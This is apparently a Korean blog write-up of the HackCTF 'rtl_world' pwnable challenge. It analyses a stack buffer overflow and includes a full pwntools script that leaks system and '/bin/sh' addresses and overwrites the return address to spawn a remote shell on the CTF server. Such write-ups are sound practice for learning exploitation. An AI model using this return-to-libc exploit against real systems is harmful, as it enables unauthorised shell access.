풀이
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
먼저 rtl_world를 실행해보자.
아! 참고로 64bit linux로 실행하면 Segmentation fault가 뜬다.
호오.. System Armor와 Shell Sword를 갖고 있으면, Binary Boss를 죽일 수 있다고 한다.
대충 system 함수의 인자로 /bin/sh을 넘겨 문제를 푸는 방식인듯?
IDA로 슈도코드를 확인해보자. 중요한 부분만 적도록 하겠다.
Main Pseudocode
char buf; // [esp+14h] [ebp-8Ch]
case 5:
printf("[Attack] > ");
read(0, &buf, 0x400u);
return 0;
Get_Money Pseudocode
else if ( v1 == 4 )
{
puts("\nWow! you can find Hidden number!");
puts("Life is Just a One Shot...");
puts("Gambling...");
printf("+ %d Gold\n", v2);
gold += v2;
result = printf("\nYour Gold is %d\n", gold);
}
이정도만 알면 문제 푸는데 지장이 없을 것이다.
먼저 Shell Sword와 System Armor를 얻기 위해서는 돈이 필요한데...
해당 보기에서 없는 번호인 4번을 선택하면, 무진장 돈을 많이준다(?)
Main 함수에서는 buf가 ebp-8ch에 위치해 있지만, 입력은 0x400만큼 받으므로, bof가 발생한다.
간단하게 0x8c + SFP + RET(system + dummy(4) + /bin/sh)로 페이로드를 작성해봤다.
1 from pwn import *
2
3 context.log_level = 'debug'
4
5 p = remote('ctf.j0n9hyun.xyz', 3010)
6
7 p.sendlineafter('>>>', '2')
8 p.sendlineafter('>>> ', '4')
9
10 p.sendlineafter('>>>', '4')
11 p.recvuntil('Sword : ')
12 shell = int(p.recv(10),16)
13 p.sendlineafter('>>>', '3')
14 p.recvuntil('Armor : ')
15 system = int(p.recv(10),16)
16
17 p.sendlineafter('>>>','5')
18
19 payload = 'A'*144
20 payload += p32(system)
21 payload += 'B'*4
22 payload += p32(shell)
23
24 p.sendlineafter('> ', payload)
25 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] poet 풀이 (200p) (0) | 2020.08.23 |
---|---|
[HackCTF] g++ pwn 풀이 (200p) (0) | 2020.08.23 |
[HackCTF] Yes or no 풀이 (150p) (0) | 2020.08.23 |
[HackCTF] Pwnable 후기 (0) | 2020.07.18 |
[HackCTF] BOF_PIE 풀이 (150p) (0) | 2020.07.16 |